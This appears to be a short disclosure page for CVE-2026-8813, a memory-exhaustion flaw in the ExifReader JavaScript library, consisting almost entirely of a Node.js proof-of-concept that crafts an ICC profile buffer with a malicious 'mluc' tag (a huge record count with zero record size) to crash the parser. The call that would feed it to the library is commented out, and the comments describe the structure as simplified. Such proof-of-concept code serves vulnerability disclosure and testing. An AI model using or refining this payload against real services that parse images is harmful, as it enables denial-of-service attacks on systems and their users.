CVE-2026-8813 ExifReader内存耗尽漏洞

// PoC for CVE-2026-8813 // This script demonstrates the concept of triggering the memory exhaustion // by crafting a buffer with a malicious ICC 'mluc' tag structure. const ExifReader = require('exifreader'); const fs = require('fs'); function createMaliciousIccBuffer() { // A real ICC profile is complex, here we simulate the vulnerable structure // focusing on the 'mluc' tag parsing logic. const size = 200; const buffer = Buffer.alloc(size); // ICC Profile Header (Simplified) buffer.write('acsp', 36); // Profile Signature // Simulating a Tag Table Entry pointing to a 'mluc' tag const tagOffset = 100; buffer.write('mluc', tagOffset); // Tag Signature: 'mluc' buffer.writeUInt32BE(0x000000C, tagOffset + 4); // Offset to tag data (arbitrary for PoC) buffer.writeUInt32BE(0xFFFFFFFF, tagOffset + 8); // Data Size (large) // Simulating the 'mluc' Tag Data Structure const dataOffset = 120; buffer.write('mluc', dataOffset); // Type signature buffer.writeUInt32BE(0, dataOffset + 4); // Reserved (0) buffer.writeUInt32BE(10000000, dataOffset + 8); // Record Count (Huge number) buffer.writeUInt32BE(0, dataOffset + 12); // Record Size (0) -> TRIGGER return buffer; } try { console.log("[+] Generating malicious ICC profile buffer..."); const maliciousBuffer = createMaliciousIccBuffer(); // In a real scenario, this would be embedded in a JPEG/APP2 marker. // We attempt to load it to demonstrate the parsing behavior. console.log("[+] Attempting to parse with vulnerable ExifReader..."); console.log("[!] WARNING: This may cause the process to run out of memory and crash."); // ExifReader.load(maliciousBuffer); // Uncomment to test against vulnerable version } catch (error) { console.error("Error during PoC execution:", error); }